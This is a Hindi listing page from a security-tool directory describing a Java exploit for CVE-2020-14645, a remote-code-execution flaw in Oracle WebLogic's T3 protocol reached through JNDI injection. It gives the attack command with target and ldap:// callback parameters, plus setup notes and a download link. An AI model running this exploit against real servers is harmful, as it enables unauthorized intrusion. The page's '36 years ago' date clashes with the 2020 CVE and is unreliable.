Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-14645 — CVE-2020-14645 के लिए Java-आधारित एक्सप्लॉइट जो Oracle WebLogic T3 प्रोटोकॉल को JNDI इंजेक्शन के साथ लक्षित करता है, दूरस्थ कोड निष्पादन के लिए। | Kitploit
उपकरण/GitHubGitHub/daboquan/cve-2020-14645
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubdaboquan/cve-2020-14645

CVE-2020-14645

CVE-2020-14645 के लिए Java-आधारित एक्सप्लॉइट जो Oracle WebLogic T3 प्रोटोकॉल को JNDI इंजेक्शन के साथ लक्षित करता है, दूरस्थ कोड निष्पादन के लिए।

रिपॉजिटरी देखें
36 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-14645

उपयोग विधि

सबसे पहले NDI-Injection-Exploit का उपयोग करके सुनें और एक ldap पता उत्पन्न करें।

java -jar WeblogicT3.jar -Target 127.0.0.1 -Port [7001] -RMI ldap://127.0.0.1:1389/dozvtq [--SSL]

-Tatget और -RMI अनिवार्य हैं, https के लिए --SSL पैरामीटर का उपयोग किया जा सकता है, -Port डिफ़ॉल्ट 7001 है।

स्वयं संकलन करने के लिए coherence.jar और wlfullclient.jar जोड़ना आवश्यक है।

भेद्यता संदर्भ:

https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247484377&idx=1&sn=01d62d175127099275a243ab5fe02bc3&chksm=f9ee6f66ce99e670dbb6da2a3648ea5f6a91fa503441dccd903f44e76883019890d8a9701a29&scene=158#rd

कोड संदर्भ:

https://github.com/Y4er/CVE-2020-2883

टूल डाउनलोड करें